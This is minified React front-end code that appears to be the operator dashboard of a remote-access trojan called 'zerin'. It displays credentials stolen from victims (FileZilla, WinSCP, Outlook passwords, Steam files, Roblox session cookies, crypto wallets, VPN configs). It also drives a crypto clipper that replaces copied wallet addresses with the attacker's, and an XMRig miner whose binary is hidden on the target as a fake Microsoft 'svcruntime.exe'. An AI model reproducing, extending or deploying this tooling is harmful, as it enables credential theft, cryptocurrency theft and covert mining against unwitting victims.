bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((be=i.winscp)==null?void 0:be.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},re))})})]}),(((q=i.outlook)==null?void 0:q.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((Y=i.winscp)!=null&&Y.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((le=i.steam)!=null&&le.found?1:0)+((we=i.epic)!=null&&we.found?1:0)+(((Ne=i.minecraft)==null?void 0:Ne.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[(($=i.steam)==null?void 0:$.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))]})]}),((ve=i.epic)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((H=i.minecraft)==null?void 0:H.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},re))})]}),((se=i.roblox)==null?void 0:se.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((W=i.steam)!=null&&W.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(ke=i.vpn)!=null&&ke.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
|
|||
|
|
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,re)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},re))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r
|
|||
|
|
pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const dV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],fV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function $b(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function mV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...fV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=$b(b,w);f(N=>{const k={...N};return j?k[b]=j:delete k[b],k})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=$b(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg
|
|||
|
|
${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed
|
|||
|
|
${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
|
|||
|
|
text-zerin-text-dim hover:text-zerin-text\r
|
|||
|
|
bg-zerin-panel hover:bg-zerin-panel-hover\r
|
|||
|
|
border border-zerin-panel-border\r
|
|||
|
|
px-3 py-2 transition-colors\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:dV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:k=>x(b,k.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text
|
|||
|
|
placeholder-zerin-text-muted
|
|||
|
|
focus:outline-none focus:ring-1 transition-all
|
|||
|
|
${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const Bb=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function pV({agentId:e,agentStatus:t}){const[n,r]=m.useState(Bb[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,O)=>{h({text:S,type:O}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const O=await Xn(e),A=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(A.length>0){const T=A[0],P=(O.results??[]).find(D=>D.task_id===T.id);if(P!=null&&P.output)try{const D=JSON.parse(P.output);g(D)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},k=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},z=S=>{const O=Math.floor(S/3600),A=Math.floor(S%3600/60),T=Math.floor(S%60);return O>0?`${O}h ${A}m ${T}s`:A>0?`${A}m ${T}s`:`${T}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 te
|
|||
|
|
text-sm text-zerin-text font-mono\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:Bb.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
|||
|
|
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
|||
|
|
text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Ca({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const 